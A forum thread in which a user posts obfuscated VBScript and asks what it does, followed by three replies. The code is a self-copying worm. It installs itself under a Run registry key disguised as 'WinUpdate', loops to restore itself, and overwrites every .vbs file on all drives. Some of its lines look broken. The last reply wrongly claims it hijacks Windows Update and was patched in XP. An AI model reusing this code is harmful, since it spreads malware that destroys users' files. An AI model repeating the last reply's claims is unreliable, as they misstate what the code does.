VB6 What's this code do?

loading... · 06-09-2015, 05:44 AM

Normally I can understand visual basic but WTF is this shit? Confused

Code:
Set K1IPCRVC = createobject("scripting.filesystemobject")
L2ROP693 = K1IPCRVC.getspecialfolder(2)
T225DMBE = L2ROP693 & "\winsyst.vbs"
Set A36IV8KC = createobject("wscript.shell")
A36IV8KC.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & T225DMBE & " %"
K1IPCRVC.copyfile wscript.scriptfullname, T225DMBE

Set Q8056VMR= K1IPCRVC.opentextfile(wscript.scriptfullname)
QSPKI028 = Q8056VMR.readall
Q8056VMR.close
Do
if not(K1IPCRVC.fileexists(wscript.scriptfullname)) then
set GV3B1H65= K1IPCRVC.createtextfile(wscript.scriptfullname)
GV3B1H65.write QSPKI028
GV3B1H65.close
end if
V8TS7H61 = A36IV8KC.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate")
If V8TS7H61 <> "wscript.exe " & T225DMBE & " %" then
A36IV8KC.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & T225DMBE & " %"
end if
V8TS7H61= ""
loop
Function DIRK5BAD()
On Error Resume Next
Set L57M21VG = K1IPCRVC.Drives
For Each HB2EDRE4 In L57M21VG
H8IG8I50 = HB2EDRE4 & " \ "
Call TCS3731M(H8IG8I50)
Next
End Function

Function TCS3731M(FI532788)
JDBN17FV = FI532788
Set K0C7B470 = K1IPCRVC.GetFolder(JDBN17FV)
Set G60G535V = K0C7B470.Files
For Each V3H3U8EK In G60G535V
If K1IPCRVC.GetExtensionName(V3H3U8EK.path) = "vbs"
K1IPCRVC.CopyFile wscript.scriptfullname,V3H3U8EK.path,true
End if
Next
Set E2R9O566 = K0C7B470.Subfolders
For Each SD9KTT6R In E2R9O566
Call (SD9KTT6R.path)
Next
End function

roger_smith · 06-09-2015, 01:06 PM

Where did the code come from? It certainly appears to be making windows registry modifications for winupdate. I imagine you know that already though. I'm not really a programmer so I can't give you the gritty details.

Ultimatum · 06-09-2015, 01:45 PM

It's definitely not legitimate Windows Update. It's putting something into the Startup key.

It's probably some crappy VB6 startup function malware (also taking into consideration the randomised variable names).

hacking18 · 06-15-2015, 11:40 AM

It's a dangerous function:
It writes to startup and manipulates the windows update service so attackers can send you their own malicious updates and block the ones from microsoft, luckely this function doesnt work anymore it was patched in a security update on windows xp

VB6 What's this code do?
Author Message